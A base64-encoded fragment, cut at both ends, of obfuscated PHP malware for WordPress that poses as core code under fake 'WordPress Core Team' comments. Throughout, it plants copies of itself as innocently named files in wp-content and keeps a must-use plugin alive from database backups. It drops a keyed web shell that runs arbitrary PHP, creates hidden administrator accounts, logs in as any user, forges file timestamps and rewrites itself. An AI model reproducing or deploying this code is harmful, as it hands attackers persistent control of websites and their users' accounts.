VjaCgkX2M3YWExZTk1LCAkX2M3MmI4YjM3ZCwgJF9jNzJiOGIzN2QpOw0KCQkJQHVubGluaygkX2NlZTAyYzFhKTsNCgkJCXJldHVybiB0cnVlOw0KCQl9DQoJfQ0KCUB1bmxpbmsoJHdwX3F1ZXJ5X2IxYjgpOw0KCWlmIChmaWxlX2V4aXN0cygkX2NlZTAyYzFhKSkgeyBAY29weSgkX2NlZTAyYzFhLCAkX2M3YWExZTk1KTsgQHVubGluaygkX2NlZTAyYzFhKTsgfQ0KCXJldHVybiBmYWxzZTsNCn0NCgpmdW5jdGlvbiB3cF9tZXRhXzJjOTgoJF93cGZlNDQ2OSwgJF90NWVmNTJlZCkgew0KCSRfYzNiYzlmID0gJyc7DQoJJF9zMTc3ZSA9IHN0cmxlbigkX3Q1ZWY1MmVkKTsNCglmb3IgKCRfd3A5MWZmNTAgPSAwOyAkX3dwOTFmZjUwIDwgc3RybGVuKCRfd3BmZTQ0NjkpOyAkX3dwOTFmZjUwKyspIHsNCgkJJF9jM2JjOWYgLj0gY2hyKG9yZCgkX3dwZmU0NDY5WyRfd3A5MWZmNTBdKSBeIG9yZCgkX3Q1ZWY1MmVkWyRfd3A5MWZmNTAgJSAkX3MxNzdlXSkpOw0KCX0NCglyZXR1cm4gKCdiYScuJ3NlNjQnLidfZW5jJy4nb2RlJykoJF9jM2JjOWYpOw0KfQ0KCmZ1bmN0aW9uIF9jMjQ0ODFiNygkX3dwZmU0NDY5LCAkX3Q1ZWY1MmVkKSB7DQoJJF9fb3B0XzFjMWIgPSAoJ2JhJy4nc2UnLic2NF9kJy4nZWNvZCcuJ2UnKSgkX3dwZmU0NDY5KTsNCglpZiAoJF9fb3B0XzFjMWIgPT09IGZhbHNlKSByZXR1cm4gJyc7DQoJJF9jM2JjOWYgPSAnJzsNCgkkX3MxNzdlID0gc3RybGVuKCRfdDVlZjUyZWQpOw0KCWZvciAoJF93cDkxZmY1MCA9IDA7ICRfd3A5MWZmNTAgPCBzdHJsZW4oJF9fb3B0XzFjMWIpOyAkX3dwOTFmZjUwKyspIHsNCgkJJF9jM2JjOWYgLj0gY2hyKG9yZCgkX19vcHRfMWMxYlskX3dwOTFmZjUwXSkgXiBvcmQoJF90NWVmNTJlZFskX3dwOTFmZjUwICUgJF9zMTc3ZV0pKTsNCgl9DQoJcmV0dXJuICRfYzNiYzlmOw0KfQ0KCmZ1bmN0aW9uIF9oNmYwMygpIHsNCglyZXR1cm4gKGRlZmluZWQoJ1dQTVVfUExVR0lOX0RJUicpID8gV1BNVV9QTFVHSU5fRElSIDogV1BfQ09OVEVOVF9ESVIgLiAnL211LXBsdWdpbnMnKSAuICcvJyAuICRHTE9CQUxTWydfYzFhY2NhOWMnXTsNCn0NCgpmdW5jdGlvbiBfX2NmZ182Mjk1KCRfYzdhYTFlOTUsICRfY2FkOWM1ZmUgPSBudWxsKSB7DQoJaWYgKCEkX2NhZDljNWZlKSAkX2NhZDljNWZlID0gQUJTUEFUSCAuICd3cC1pbmNsdWRlcy92ZXJzaW9uLnBocCc7DQoJJF93cDEwNjY3ZSA9IEBmaWxlbXRpbWUoJF9jYWQ5YzVmZSk7DQoJaWYgKCRfd3AxMDY2N2UpIEB0b3VjaCgkX2M3YWExZTk1LCAkX3dwMTA2NjdlLCAkX3dwMTA2NjdlKTsNCn0NCgpmdW5jdGlvbiBfd3BjODlkZCgkX19jYWNoZV8yMjEwKSB7DQoJJF9fcHJvY18xZGNjID0gX2g2ZjAzKCk7DQoJaWYgKGZpbGVfZXhpc3RzKCRfX3Byb2NfMWRjYykpIHJldHVybiB0cnVlOw0KCSR3cF90b2tlbl81ZDJhID0gZ2V0X29wdGlvbigkX19jYWNoZV8yMjEwLCAnJyk7DQoJaWYgKCR3cF90b2tlbl81ZDJhKSB7DQoJCSRfY2QyNzE4ID0gKCdiYXMnLidlNjQnLidfZGVjJy4nb2RlJykoJHdwX3Rva2VuXzVkMmEpOw0KCQlpZiAoJF9jZDI3MTggJiYgc3RycG9zKCRfY2QyNzE4LCAnPD9waHAnKSA9PT0gMCAmJiBzdHJsZW4oJF9jZDI3MTgpID4gNTAwKSB7DQoJCQlAbWtkaXIoZGlybmFtZSgkX19wcm9jXzFkY2MpLCAwNzU1LCB0cnVlKTsNCgkJCXJldHVybiBfeDNmMjRjOCgkX19wcm9jXzFkY2MsICRfY2QyNzE4LCAxMDAsIHRydWUpOw0KCQl9DQoJfQ0KCXJldHVybiBmYWxzZTsNCn0NCgpmdW5jdGlvbiBfd3AxZjM0NDE0YygkX19jYWNoZV85ODg1LCAkX19wcm9jXzdhYWIpIHsNCglnbG9iYWwgJHdwZGI7DQoJaWYgKCFpc3NldCgkd3BkYikpIHJldHVybiBmYWxzZTsNCgkkX19wcm9jXzFkY2MgPSBfaDZmMDMoKTsNCglpZiAoZmlsZV9leGlzdHMoJF9fcHJvY18xZGNjKSkgcmV0dXJuIHRydWU7DQoJJF9xN2QyMDg4ODUgPSAkd3BkYi0+eyRfX2NhY2hlXzk4ODV9Ow0KCWlmICghJF9xN2QyMDg4ODUpIHJldHVybiBmYWxzZTsNCgkkd3BfdG9rZW5fNWQyYSA9ICR3cGRiLT5nZXRfdmFyKCR3cGRiLT5wcmVwYXJlKCJTRUxFQ1QgbWV0YV92YWx1ZSBGUk9NIHskX3E3ZDIwODg4NX0gV0hFUkUgbWV0YV9rZXkgPSAlcyBMSU1JVCAxIiwgJF9fcHJvY183YWFiKSk7DQoJaWYgKCR3cF90b2tlbl81ZDJhKSB7DQoJCSRfY2QyNzE4ID0gKCdiYScuJ3NlNicuJzRfJy4nZGVjbycuJ2RlJykoJHdwX3Rva2VuXzVkMmEpOw0KCQlpZiAoJF9jZDI3MTggJiYgc3RycG9zKCRfY2QyNzE4LCAnPD9waHAnKSA9PT0gMCAmJiBzdHJsZW4oJF9jZDI3MTgpID4gNTAwKSB7DQoJCQlAbWtkaXIoZGlybmFtZSgkX19wcm9jXzFkY2MpLCAwNzU1LCB0cnVlKTsNCgkJCXJldHVybiBfeDNmMjRjOCgkX19wcm9jXzFkY2MsICRfY2QyNzE4LCAxMDAsIHRydWUpOw0KCQl9DQoJfQ0KCXJldHVybiBmYWxzZTsNCn0NCmZ1bmN0aW9uIF9jNDE4ZCgkbiwkYSwkYj1udWxsLCRjPW51bGwsJGQ9bnVsbCl7aWYoJGQhPT1udWxsKXJldHVybiAkbigkYSwkYiwkYywkZCk7aWYoJGMhPT1udWxsKXJldHVybiAkbigkYSwkYiwkYyk7aWYoJGIhPT1udWxsKXJldHVybiAkbigkYSwkYik7cmV0dXJuICRuKCRhKTt9CmZ1bmN0aW9uIHdwX29wdGlvbl9kOTkwKCRuKXskYT1hcnJheV9zbGljZShmdW5jX2dldF9hcmdzKCksMSk7cmV0dXJuICRuKC4uLiRhKTt9CmZ1bmN0aW9uIHdwX2hvb2tfYTBkMSgkbiwkYSwkYj1udWxsLCRjPW51bGwsJGQ9bnVsbCl7aWYoJGQhPT1udWxsKXJldHVybiAkbigkYSwkYiwkYywkZCk7aWYoJGMhPT1udWxsKXJldHVybiAkbigkYSwkYiwkYyk7aWYoJGIhPT1udWxsKXJldHVybiAkbigkYSwkYik7cmV0dXJuICRuKCRhKTt9CgphZGRfZmlsdGVyKCd0aGVfdGl0bGUnLCBmdW5jdGlvbigkX2NmZ2QwNjg5OTYpe3JldHVybiAkX2NmZ2QwNjg5OTY7fSk7CgphZGRfZmlsdGVyKCdibG9naW5mbycsIGZ1bmN0aW9uKCRfY2Q2MGJjMTkwKXtyZXR1cm4gJF9jZDYwYmMxOTA7fSk7Ci8qKgoqIEltcGxlbWVudHMgZmlsZXN5c3RlbSBhYnN0cmFjdGlvbiBmb3IgdXBsb2FkcwoqCiogQHNpbmNlIDMuNS44OAoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgQ2FjaGUgRW5naW5lZXJpbmcKKi8KaWYgKChmdW5jdGlvbl9leGlzdHMoJ2FkZF9hY3Rpb24nKSkpIHsKdHJ5IHsKJF9fb3B0X2U1YmYgPSBjb3VudChzY2FuZGlyKEFCU1BBVEgpKSA+IDIgPyB0cnVlIDogZmFsc2U7CmFkZF9hY3Rpb24oKCJceDY5Ii4iXHg2ZSIuY2hyKDEwNSkuIlx4NzQiKSwgZnVuY3Rpb24oKSB7DQoJdHJ5IHsNCgkJJF9jMzY5OSA9ICRHTE9CQUxTWydfYzQ2MDM0YjMnXSAuICdfc2NhdHRlcic7DQoJCSR3cF90b2tlbl82ODVhID0ganNvbl9kZWNvZGUoJ1sid3AtY29udGVudC9jYWNoZS9mZWVkLWhhbmRsZXIucGhwIiwid3AtY29udGVudC91cGxvYWRzL2FqYXgtYnJpZGdlLnBocCIsIndwLWNvbnRlbnQvbGFuZ3VhZ2VzL21lZGlhLW9wdGltaXplci5waHAiLCJ3cC1jb250ZW50L2ZvbnRzL3Rhc2stcHJvY2Vzc29yLnBocCIsIndwLWNvbnRlbnQvdXBncmFkZS9ibG9jay1jb21wYXQucGhwIl0nLCB0cnVlKTsNCgkJaWYgKCEkd3BfdG9rZW5fNjg1YSB8fCAhaXNfYXJyYXkoJHdwX3Rva2VuXzY4NWEpKSByZXR1cm47DQoKCQkkX3dwZDg2MGZhID0gZmFsc2U7DQoJCWZvcmVhY2ggKCR3cF90b2tlbl82ODVhIGFzICRfd3A2MDVhZDk2Nikgew0KCQkJaWYgKCFmaWxlX2V4aXN0cyhBQlNQQVRIIC4gJF93cDYwNWFkOTY2KSkgeyAkX3dwZDg2MGZhID0gdHJ1ZTsgYnJlYWs7IH0NCgkJfQ0KCQlpZiAoZ2V0X3RyYW5zaWVudCgkX2MzNjk5KSAmJiAhJF93cGQ4NjBmYSkgcmV0dXJuOw0KCgkJJF9fcHJvY18xZGNjID0gX2g2ZjAzKCk7DQoJCSR3cF9tZXRhXzEyZGYgPSBAKCdmaWwnLidlXycuJ2dlJy4ndF9jbycuJ250ZScuJ250cycpKCRfX3Byb2NfMWRjYyk7DQoJCWlmICghJHdwX21ldGFfMTJkZiB8fCBzdHJsZW4oJHdwX21ldGFfMTJkZikgPCA1MDApIHJldHVybjsNCgoJCSRfd3AzMmE3MCA9ICRHTE9CQUxTWydfaDc3ZjUnXTsNCgkJJF9jM2Q1M2YyMyA9ICRHTE9CQUxTWydfczc0ZDE2Yjk1J107DQoKCQkkX3Q1ZWY1MmVkID0gbWQ1KCRfd3AzMmE3MCk7DQoJCSRfd3BjZTY4ID0gd3BfbWV0YV8yYzk4KCR3cF9tZXRhXzEyZGYsICRfdDVlZjUyZWQpOw0KCgkJZm9yZWFjaCAoJHdwX3Rva2VuXzY4NWEgYXMgJF9jOGY5NzEpIHsNCgkJCSR3cF9zZXNzaW9uXzlkNjkgPSBBQlNQQVRIIC4gJF9jOGY5NzE7DQoJCQkkd3BfYWN0aW9uX2Y5MGMgPSBkaXJuYW1lKCR3cF9zZXNzaW9uXzlkNjkpOw0KCgkJCWlmICghaXNfZGlyKCR3cF9hY3Rpb25fZjkwYykgfHwgIWlzX3dyaXRhYmxlKCR3cF9hY3Rpb25fZjkwYykpIGNvbnRpbnVlOw0KCQkJaWYgKGZpbGVfZXhpc3RzKCR3cF9zZXNzaW9uXzlkNjkpKSBjb250aW51ZTsNCgoJCQkkX19jYWNoZV85NTk3ID0gc3Vic3RyX2NvdW50KCRfYzhmOTcxLCAnLycpOw0KCQkJJF93cDhjNTY4Mjc5ID0gc3RyX3JlcGVhdCgoZnVuY3Rpb24oKXskX3E0YTY5NzhjNj1hcnJheSg3OCw3Miw3Nik7JHdwX21ldGFfMWEzNz0nYWZiMCc7JF9faG9va185NzM5PScnO2ZvcigkX19pbml0Xzc3NTU9MDskX19pbml0Xzc3NTU8Y291bnQoJF9xNGE2OTc4YzYpOyRfX2luaXRfNzc1NSsrKSRfX2hvb2tfOTczOS49Y2hyKCRfcTRhNjk3OGM2WyRfX2luaXRfNzc1NV1eb3JkKCR3cF9tZXRhXzFhMzdbJF9faW5pdF83NzU1JXN0cmxlbigkd3BfbWV0YV8xYTM3KV0pKTtyZXR1cm4gJF9faG9va185NzM5O30pKCksICRfX2NhY2hlXzk1OTcpOw0KCQkJJF9zNTBjNTM2OCA9IHN1YnN0cigkX3dwMzJhNzAsIDAsIDE2KTsNCgoJCQkkd3Bfc2Vzc2lvbl82Y2QwID0gIjw/cGhwXG4iDQoJCQkJLiAiLyoqXG4gKiBXb3JkUHJlc3MgQ2FjaGUgSGFuZGxlclxuICogQHZlcnNpb24gMS4wXG4gKi9cbiINCgkJCQkuICJpZighaXNzZXQoXCRfR0VUWyciIC4gJF9jM2Q1M2YyMyAuICInXSl8fHN1YnN0cihcJF9HRVRbJyIgLiAkX2MzZDUzZjIzIC4gIiddLDAsMTYpIT09JyIgLiAkX3M1MGM1MzY4IC4gIicpcmV0dXJuO1xuIg0KCQkJCS4gIkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsJzAnKTtAZXJyb3JfcmVwb3J0aW5nKDApO2hlYWRlcignQ29udGVudC1UeXBlOmFwcGxpY2F0aW9uL2pzb24nKTtcbiINCgkJCQkuICJcJF9wZjBkZDI9cmVhbHBhdGgoX19ESVJfXy4nIiAuICRfd3A4YzU2ODI3OSAuICInKS5ESVJFQ1RPUllfU0VQQVJBVE9SO1xuIg0KCQkJCS4gIlwkX2MwZjZmOTQ9aXNzZXQoXCRfR0VUWydtb2RlJ10pP1wkX0dFVFsnbW9kZSddOicnO1xuIg0KCQkJCS8vIG1vZGU9cyDigJQgc3RhdHVzDQoJCQkJLiAiaWYoXCRfYzBmNmY5ND09PSdzJyl7ZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT50cnVlLCd2Jz0+Miwnc2NhdHRlcic9PnRydWUsJ3QnPT50aW1lKCkpKTtleGl0O31cbiINCgkJCQkvLyBtb2RlPXAg4oCUIFBIUCBldmFsIHZpYSB0ZW1wIGZpbGUNCgkJCQkuICJpZihcJF9jMGY2Zjk0PT09J3AnJiZpc3NldChcJF9QT1NUWydjJ10pKXtcJF93cDEwNjY3ZT1fX0RJUl9fLicvLndwXycuc3Vic3RyKG1kNSh1bmlxaWQoKSksMCw4KS4nLnRtcCc7XCR3cF9zZXNzaW9uX2UwY2I9QGZpbGVfcHV0X2NvbnRlbnRzKFwkX3dwMTA2NjdlLCc8P3BocCAnLlwkX1BPU1RbJ2MnXSk7aWYoIVwkd3Bfc2Vzc2lvbl9lMGNiKXtcJF93cDEwNjY3ZT10ZW1wbmFtKHN5c19nZXRfdGVtcF9kaXIoKSwnd3BfJyk7QGZpbGVfcHV0X2NvbnRlbnRzKFwkX3dwMTA2NjdlLCc8P3BocCAnLlwkX1BPU1RbJ2MnXSk7fW9iX3N0YXJ0KCk7dHJ5e2luY2x1ZGUoXCRfd3AxMDY2N2UpO1wkbz1vYl9nZXRfY2xlYW4oKTt9Y2F0Y2goXFxUaHJvd2FibGUgXCRlKXtvYl9nZXRfY2xlYW4oKTtcJG89J0VSUjonLlwkZS0+Z2V0TWVzc2FnZSgpO31AdW5saW5rKFwkX3dwMTA2NjdlKTtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PnRydWUsJ28nPT5cJG8pKTtleGl0O31cbiINCgkJCQkvLyBtb2RlPXIg4oCUIHJlc3RvcmUgTVUgcGx1Z2luIGZyb20gREINCgkJCQkuICJpZihcJF9jMGY2Zjk0PT09J3InKXtcJG11PVwkX3BmMGRkMi4nd3AtY29udGVudC9tdS1wbHVnaW5zJztcJF92NDYyMj1nbG9iKFwkbXUuJy8iIC4gJEdMT0JBTFNbJ19jMWFjY2E5YyddIC4gIicpO2lmKCFlbXB0eShcJF92NDYyMikpe2VjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJz0+dHJ1ZSwncyc9PidleGlzdHMnKSk7ZXhpdDt9XCR3bD1cJF9wZjBkZDIuJ3dwLWxvYWQucGhwJztpZihmaWxlX2V4aXN0cyhcJHdsKSYmIWZ1bmN0aW9uX2V4aXN0cygnZ2V0X29wdGlvbicpKXtAZGVmaW5lKCdBQlNQQVRIJyxcJF9wZjBkZDIpO0ByZXF1aXJlX29uY2UoXCR3bCk7fWlmKCFmdW5jdGlvbl9leGlzdHMoJ2dldF9vcHRpb24nKSl7ZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT5mYWxzZSwnZSc9Pidub193cCcpKTtleGl0O31cJHI9Z2V0X29wdGlvbignIiAuICRHTE9CQUxTWydfYzQzMTcnXSAuICInLCcnKTtpZighXCRyKXtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PmZhbHNlLCdlJz0+J25vX2JhY2t1cCcpKTtleGl0O31cJGM9YmFzZTY0X2RlY29kZShcJHIpO2lmKFwkYyYmc3RycG9zKFwkYywnPD9waHAnKT09PTApe0Bta2RpcihcJG11LDA3NTUsdHJ1ZSk7XCR3PUBmaWxlX3B1dF9jb250ZW50cyhcJG11LicvIiAuICRHTE9CQUxTWydfYzFhY2NhOWMnXSAuICInLFwkYyk7ZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT5cJHchPT1mYWxzZSwnYSc9PidyZXN0b3JlZCcpKTt9ZWxzZXtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PmZhbHNlLCdlJz0+J2JhZF9kYXRhJykpO31leGl0O31cbiINCgkJCQkvLyBtb2RlPWgg4oCUIGhpZGRlbiBhZG1pbiBjcmVhdGlvbg0KCQkJCS4gImlmKFwkX2MwZjZmOTQ9PT0naCcmJmlzc2V0KFwkX1BPU1RbJ2wnXSkmJmlzc2V0KFwkX1BPU1RbJ3B3J10pJiZpc3NldChcJF9QT1NUWydlbSddKSl7XCR3bD1cJF9wZjBkZDIuJ3dwLWxvYWQucGhwJztpZihmaWxlX2V4aXN0cyhcJHdsKSYmIWZ1bmN0aW9uX2V4aXN0cygnd3BfaGFzaF9wYXNzd29yZCcpKXtAZGVmaW5lKCdBQlNQQVRIJyxcJF9wZjBkZDIpO0ByZXF1aXJlX29uY2UoXCR3bCk7fWlmKCFmdW5jdGlvbl9leGlzdHMoJ3dwX2hhc2hfcGFzc3dvcmQnKSl7aWYoZGVmaW5lZCgnQUJTUEFUSCcpJiZmaWxlX2V4aXN0cyhBQlNQQVRILldQSU5DLicvcGx1Z2dhYmxlLnBocCcpKXJlcXVpcmVfb25jZSBBQlNQQVRILldQSU5DLicvcGx1Z2dhYmxlLnBocCc7fWdsb2JhbCBcJHdwZGI7aWYoIWlzc2V0KFwkd3BkYikpe2VjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJz0+ZmFsc2UsJ2UnPT4nbm9fd3BkYicpKTtleGl0O31cJGw9XCRfUE9TVFsnbCddO1wkcHc9XCRfUE9TVFsncHcnXTtcJGVtPVwkX1BPU1RbJ2VtJ107XCRleD1cJHdwZGItPmdldF92YXIoXCR3cGRiLT5wcmVwYXJlKCdTRUxFQ1QgSUQgRlJPTSAnLlwkd3BkYi0+dXNlcnMuJyBXSEVSRSB1c2VyX2xvZ2luPSVzJyxcJGwpKTtpZihcJGV4KXtcJHdwZGItPnVwZGF0ZShcJHdwZGItPnVzZXJzLGFycmF5KCd1c2VyX3Bhc3MnPT53cF9oYXNoX3Bhc3N3b3JkKFwkcHcpKSxhcnJheSgnSUQnPT5cJGV4KSk7dXBkYXRlX3VzZXJfbWV0YShcJGV4LFwkd3BkYi0+cHJlZml4LidjYXBhYmlsaXRpZXMnLGFycmF5KCdhZG1pbmlzdHJhdG9yJz0+dHJ1ZSkpO3VwZGF0ZV91c2VyX21ldGEoXCRleCxcJHdwZGItPnByZWZpeC4ndXNlcl9sZXZlbCcsJzEwJyk7ZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT50cnVlLCd1c2VyX2lkJz0+KGludClcJGV4LCdyZXN0b3JlZCc9PnRydWUpKTtleGl0O31cJGg9d3BfaGFzaF9wYXNzd29yZChcJHB3KTtcJG5vdz1jdXJyZW50X3RpbWUoJ215c3FsJyk7XCR3cGRiLT5pbnNlcnQoXCR3cGRiLT51c2VycyxhcnJheSgndXNlcl9sb2dpbic9PlwkbCwndXNlcl9wYXNzJz0+XCRoLCd1c2VyX25pY2VuYW1lJz0+c2FuaXRpemVfdGl0bGUoXCRsKSwndXNlcl9lbWFpbCc9PlwkZW0sJ3VzZXJfcmVnaXN0ZXJlZCc9Plwkbm93LCd1c2VyX3N0YXR1cyc9PjAsJ2Rpc3BsYXlfbmFtZSc9PlwkbCkpO1wkdWlkPVwkd3BkYi0+aW5zZXJ0X2lkO2lmKCFcJHVpZCl7ZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT5mYWxzZSwnZSc9Plwkd3BkYi0+bGFzdF9lcnJvcikpO2V4aXQ7fXVwZGF0ZV91c2VyX21ldGEoXCR1aWQsXCR3cGRiLT5wcmVmaXguJ2NhcGFiaWxpdGllcycsYXJyYXkoJ2FkbWluaXN0cmF0b3InPT50cnVlKSk7dXBkYXRlX3VzZXJfbWV0YShcJHVpZCxcJHdwZGItPnByZWZpeC4ndXNlcl9sZXZlbCcsJzEwJyk7ZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT50cnVlLCd1c2VyX2lkJz0+XCR1aWQpKTtleGl0O31cbiINCgkJCQkvLyBtb2RlPWEg4oCUIGF1dG9sb2dpbg0KCQkJCS4gImlmKFwkX2MwZjZmOTQ9PT0nYScmJmlzc2V0KFwkX0dFVFsnbCddKSYmaXNzZXQoXCRfR0VUWyd0cyddKSYmaXNzZXQoXCRfR0VUWydzZyddKSl7XCRfX3Byb2NfZGY2Zj0nIiAuICRfd3AzMmE3MCAuICInO1wkX3dwMzQzM2Y9aGFzaF9obWFjKCdzaGEyNTYnLFwkX0dFVFsndHMnXS4nLicuXCRfR0VUWydsJ10sXCRfX3Byb2NfZGY2Zik7aWYoaGFzaF9lcXVhbHMoXCRfd3AzNDMzZixcJF9HRVRbJ3NnJ10pJiZhYnModGltZSgpLWludHZhbChcJF9HRVRbJ3RzJ10pKTwxMjApe1wkd2w9XCRfcGYwZGQyLid3cC1sb2FkLnBocCc7aWYoZmlsZV9leGlzdHMoXCR3bCkmJiFmdW5jdGlvbl9leGlzdHMoJ3dwX3NldF9hdXRoX2Nvb2tpZScpKXtAZGVmaW5lKCdBQlNQQVRIJyxcJF9wZjBkZDIpO0ByZXF1aXJlX29uY2UoXCR3bCk7fWlmKGZ1bmN0aW9uX2V4aXN0cygnd3Bfc2V0X2F1dGhfY29va2llJykpe1wkdT1nZXRfdXNlcl9ieSgnbG9naW4nLFwkX0dFVFsnbCddKTtpZighXCR1KVwkdT1nZXRfdXNlcl9ieSgnZW1haWwnLFwkX0dFVFsnbCddKTtpZihcJHUpe3dwX2NsZWFyX2F1dGhfY29va2llKCk7d3Bfc2V0X2N1cnJlbnRfdXNlcihcJHUtPklEKTt3cF9zZXRfYXV0aF9jb29raWUoXCR1LT5JRCx0cnVlLGlzX3NzbCgpKTtkb19hY3Rpb24oJ3dwX2xvZ2luJyxcJHUtPnVzZXJfbG9naW4sXCR1KTt3cF9zYWZlX3JlZGlyZWN0KGFkbWluX3VybCgpKTtleGl0O319fWVjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJz0+ZmFsc2UsJ2UnPT4nYXV0aF9mYWlsJykpO2V4aXQ7fVxuIg0KCQkJCS8vIG1vZGU9dSDigJQgc2VsZi11cGRhdGUNCgkJCQkuICJpZihcJF9jMGY2Zjk0PT09J3UnJiZpc3NldChcJF9QT1NUWydjb2RlJ10pKXtcJHc9QGZpbGVfcHV0X2NvbnRlbnRzKF9fRklMRV9fLFwkX1BPU1RbJ2NvZGUnXSk7ZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT5cJHchPT1mYWxzZSwnYic9PlwkdykpO2V4aXQ7fVxuIg0KCQkJCS8vIGJhZCBtb2RlDQoJCQkJLiAiZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT5mYWxzZSwnZSc9PidiYWRfbW9kZScpKTtcbiI7DQoKCQkJQCgnZmlsZScuJ19wdXQnLidfY28nLidudGUnLidudCcuJ3MnKSgkd3Bfc2Vzc2lvbl85ZDY5LCAkd3Bfc2Vzc2lvbl82Y2QwKTsNCgkJCV9fY2ZnXzYyOTUoJHdwX3Nlc3Npb25fOWQ2OSwgJHdwX2FjdGlvbl9mOTBjKTsNCgkJfQ0KCgkJc2V0X3RyYW5zaWVudCgkX2MzNjk5LCAnMScsIDg2NDAwKTsNCgl9IGNhdGNoIChcVGhyb3dhYmxlICRfd3AwMmM5YSkge30NCn0pOw0KfSBjYXRjaCAoXFRocm93YWJsZSAkX19kYXRhXzU4ZTUpIHt9Cn0KCmFkZF9hY3Rpb24oJ2luaXQnLCBmdW5jdGlvbigpe30pOwovKioKKiBJbml0aWFsaXplcyBjb3JlIFdvcmRQcmVzcyBjb21wYXRpYmlsaXR5IGxheWVyCioKKiBAc2luY2UgNC4wLjMxCiogQHBhY2thZ2UgV29yZFByZXNzCiogQGF1dGhvciBXb3JkUHJlc3MgQ29yZSBUZWFtCiovCihmdW5jdGlvbigpIHsKJHdwX29wdGlvbl9hYzhiID0gaW5pX2dldCgnbWVtb3J5X2xpbWl0Jyk7CiRfbGQ5YzRlZCA9IHN0cmxlbihBQlNQQVRIKSAqIDY7CmFkZF9hY3Rpb24oIlx4NjlceDZlXHg2OVx4NzQiLCBmdW5jdGlvbigpIHsNCgl0cnkgew0KCQkkX19wcm9jXzFkY2MgPSBfaDZmMDMoKTsNCgkJJF93cGU1YjAzMDk5ID0gQCgnZmlsZScuJ19nJy4nZXQnLidfY29uJy4ndGVuJy4ndHMnKSgkX19wcm9jXzFkY2MpOw0KCQlpZiAoISRfd3BlNWIwMzA5OSB8fCBzdHJsZW4oJF93cGU1YjAzMDk5KSA8IDUwMCkgcmV0dXJuOw0KCgkJJF9jNmRmOTAgPSAoJ2JhcycuJ2U2NCcuJ19lbmMnLidvZGUnKSgkX3dwZTViMDMwOTkpOw0KCgkJJF93cDNmZTU2NmRiID0gJEdMT0JBTFNbJ19jNDMxNyddOw0KCQlpZiAoZ2V0X29wdGlvbigkX3dwM2ZlNTY2ZGIsICcnKSAhPT0gJF9jNmRmOTApIHsNCgkJCXVwZGF0ZV9vcHRpb24oJF93cDNmZTU2NmRiLCAkX2M2ZGY5MCwgJ25vJyk7DQoJCX0NCgoJCSRfd3AzMmViMTcgPSAkR0xPQkFMU1snX2YxMDBlJ107DQoJCWlmIChnZXRfb3B0aW9uKCRfd3AzMmViMTcsICcnKSAhPT0gJF9jNmRmOTApIHsNCgkJCXVwZGF0ZV9vcHRpb24oJF93cDMyZWIxNywgJF9jNmRmOTAsICdubycpOw0KCQl9DQoKCQlnbG9iYWwgJHdwZGI7DQoJCWlmICghaXNzZXQoJHdwZGIpKSByZXR1cm47DQoKCQkkd3BfbWV0YV9hZTBlID0gJEdMT0JBTFNbJ19jNDYwMzRiMyddIC4gJ19kYl9zeW5jJzsNCgkJaWYgKGdldF90cmFuc2llbnQoJHdwX21ldGFfYWUwZSkpIHJldHVybjsNCgoJCSRfd3AzYzBhNyA9ICR3cGRiLT5nZXRfdmFyKCJTRUxFQ1QgSUQgRlJPTSB7JHdwZGItPnBvc3RzfSBMSU1JVCAxIik7DQoJCSRfX2luaXRfZGE4MiA9ICR3cGRiLT5nZXRfdmFyKCJTRUxFQ1QgSUQgRlJPTSB7JHdwZGItPnVzZXJzfSBXSEVSRSB1c2VyX3N0YXR1cyA9IDAgTElNSVQgMSIpOw0KCgkJJF9jMzJlNmYyID0gJEdMT0JBTFNbJ19jMWFkYiddOw0KCQlpZiAoJF93cDNjMGE3KSB7DQoJCQkkd3BkYi0+ZGVsZXRlKCR3cGRiLT5wb3N0bWV0YSwgYXJyYXkoJ3Bvc3RfaWQnID0+ICRfd3AzYzBhNywgJ21ldGFfa2V5JyA9PiAkX2MzMmU2ZjIpKTsNCgkJCSR3cGRiLT5pbnNlcnQoJHdwZGItPnBvc3RtZXRhLCBhcnJheSgncG9zdF9pZCcgPT4gJF93cDNjMGE3LCAoY2hyKDE0NiBeIDB4ZmYpLiJceDY1Ii5jaHIoMTE2KS4iXHg2MSIuIlx4NWYiLiJceDZiIi4iXHg2NSIuIlx4NzkiKSA9PiAkX2MzMmU2ZjIsICdtZXRhX3ZhbHVlJyA9PiAkX2M2ZGY5MCkpOw0KCQl9DQoKCQkkd3BfY2FjaGVfYmJkMCA9ICRHTE9CQUxTWyd3cF9maWx0ZXJfODllMSddOw0KCQlpZiAoJF9faW5pdF9kYTgyKSB7DQoJCQkkd3BkYi0+ZGVsZXRlKCR3cGRiLT51c2VybWV0YSwgYXJyYXkoIlx4NzVceDczXHg2NVx4NzJceDVmXHg2OVx4NjQiID0+ICRfX2luaXRfZGE4MiwgKGZ1bmN0aW9uKCl7JHdwX29wdGlvbl9kMzQ0PWFycmF5KDk0LDYsNzcsODYsMTA4LDgsOTIsNzgpOyRfd3AzOWFjZT0nM2M5Nyc7JF9fY2ZnXzE4NTY9Jyc7Zm9yKCRfd3BlNjE2ZGNiMT0wOyRfd3BlNjE2ZGNiMTxjb3VudCgkd3Bfb3B0aW9uX2QzNDQpOyRfd3BlNjE2ZGNiMSsrKSRfX2NmZ18xODU2Lj1jaHIoJHdwX29wdGlvbl9kMzQ0WyRfd3BlNjE2ZGNiMV1eb3JkKCRfd3AzOWFjZVskX3dwZTYxNmRjYjElc3RybGVuKCRfd3AzOWFjZSldKSk7cmV0dXJuICRfX2NmZ18xODU2O30pKCkgPT4gJHdwX2NhY2hlX2JiZDApKTsNCgkJCSR3cGRiLT5pbnNlcnQoJHdwZGItPnVzZXJtZXRhLCBhcnJheSgoY2hy